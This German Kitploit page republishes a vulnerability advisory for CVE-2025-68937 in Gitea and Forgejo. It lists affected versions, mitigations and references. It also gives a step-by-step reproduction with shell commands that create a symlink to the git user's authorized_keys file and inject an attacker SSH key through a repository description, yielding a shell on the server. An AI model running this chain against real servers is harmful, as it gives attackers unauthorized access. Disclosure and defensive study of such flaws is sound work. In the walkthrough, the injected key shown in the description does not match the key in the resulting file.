Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

Ein Verzeichnistraversierung in der Repository-Vorlagenverarbeitung von Gitea und Forgejo ermöglicht es remote authentifizierten Angreifern, beliebige Dateien im Dateisystem zu verarbeiten, was zu einer Remote-Code-Ausführung führt.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Schwachstelle durch beliebige Vorlagenerweiterung in Gitea und Forgejo

forgejo-cve CC BY-SA 4.0

Dieses Werk ist lizenziert unter einer Creative Commons Attribution-ShareAlike 4.0 International License.

CC BY-SA 4.0

Zusammenfassung

Bei der Überprüfung des Quellcodes von Forgejo und Gitea, um besser zu verstehen, wie die Vorlagenerstellung funktioniert, entdeckte ich eine Schwachstelle, die es einem authentifizierten Benutzer ermöglicht, ein bösartiges Vorlagenrepository zu erstellen, das dazu verwendet werden kann, beliebige Dateien im Dateisystem zu verarbeiten.

Wenn ein Repository basierend auf dem Git-Inhalt der bösartigen Vorlage erstellt wird, kann die Vorlage beliebige Dateien im Dateisystem erweitern.

Wenn der Pfad zum Home-Verzeichnis des git-Benutzers bekannt ist (der im offiziellen Docker-Image standardmäßig auf /data/git gesetzt ist), kann ein Angreifer die .ssh/authorized_keys-Datei des git-Benutzers erweitern, um einen Schlüssel ohne den command-Parameter einzufügen, der zur Ausführung beliebiger Befehle oder einer interaktiven Shell verwendet werden kann.

Technische Details

Betroffene Versionen: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Betroffene Komponente: Vorlagen-Repositories

Grundursache: Auflösung symbolischer Links beim Lesen und Schreiben von Vorlagen-Dateiinhalten

Exploit-Ablauf

  1. Der Angreifer authentifiziert sich als legitimer Benutzer

  2. Der Angreifer erstellt ein bösartiges Vorlagenrepository, das einen symbolischen Link zur erratenen .ssh/authorized_keys-Datei des git-Benutzers und eine .forgejo/template-Datei enthält, die auf den symbolischen Link verweist

  3. Der Angreifer fügt seinem Konto einen SSH-öffentlichen Schlüssel mit einem benutzerdefinierten Kommentar hinzu, der mit ${REPO_DESCRIPTION} endet

  4. Der Angreifer erstellt ein Repository, das auf das bösartige Vorlagenrepository verweist, mit aktivierter Git-Inhalt-Vorlagenerstellung und einer Beschreibung, die einen Zeilenumbruch gefolgt von einem weiteren SSH-öffentlichen Schlüssel enthält

  5. Gitea/Forgejo-Vorlagen lesen und erweitern den authorized_keys-Symlink, wodurch der zuvor gesetzte Kommentar des öffentlichen Schlüssels auf einen beliebigen Eintrag entsprechend der Repository-Beschreibung des Angreifers erweitert wird, ohne den command-Parameter

  6. Der Angreifer meldet sich interaktiv als git-Benutzer an, unter Verwendung des injizierten Schlüssels

Es ist auch möglich für den Angreifer, Konfigurationsdateien, die SQLite-Datenbank zu beschädigen oder einen Denial-of-Service durch das Lesen großer Dateien zu verursachen.

Abhilfe

  • Deaktivieren Sie die Registrierung für nicht vertrauenswürdige Benutzer
  • Deaktivieren Sie die Repository-Erstellung für nicht vertrauenswürdige Benutzer

Reproduktion

  1. Installieren und konfigurieren Sie eine verwundbare Version von Gitea/Forgejo

  2. Registrieren oder erstellen Sie ein Konto für den Angreifer mit dem Administratorkonto

  3. Melden Sie sich mit dem Angreiferkonto an

  4. Generieren Sie zwei verschiedene SSH-Schlüssel: einen für Git und einen für interaktives SSH

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Fügen Sie den Inhalt der Datei ~/.ssh/attacker-git.pub als autorisierten SSH-Schlüssel über die Gitea/Forgejo-Benutzeroberfläche hinzu

Der Schlüsselkommentar sollte vorhanden sein und wie folgt aussehen:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

Die .ssh/authorized_keys-Datei des git-Benutzers sieht jetzt wie folgt aus:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Erstellen Sie ein bösartiges Vorlagenrepository über die Gitea/Forgejo-Benutzeroberfläche

  2. Klonen Sie das Vorlagenrepository und fügen Sie den bösartigen Symlink und die Vorlagenkonfiguration hinzu

root@kitploit:~
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push
  1. Erstellen Sie ein neues Repository, das auf das bösartige Vorlagenrepository verweist, mit aktivierter Git-Inhalt-Vorlagenerstellung und einer Beschreibung, die einen Zeilenumbruch gefolgt vom Inhalt der Datei ~/.ssh/attacker-ssh.pub enthält

Die Repository-Beschreibung sollte wie folgt aussehen:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

Das replaced in der ersten Zeile ist nicht erforderlich, aber Sie müssen sicherstellen, dass der Zeilenumbruch dennoch vorhanden ist. Der Kommentar attacker@machine am Ende der Zeile ist ebenfalls optional.

Die resultierende .ssh/authorized_keys-Datei des git-Benutzers wird wie folgt aussehen:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. Verbinden Sie sich mit dem ~/.ssh/attacker-ssh-Schlüssel und dem ssh-Client
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

Referenzen

  • Gitea Release Notes
  • Gitea Pull Request
  • Forgejo 13.0.2 Release Notes
  • Forgejo 11.0.7 Release Notes
  • Forgejo Patch
Tool herunterladen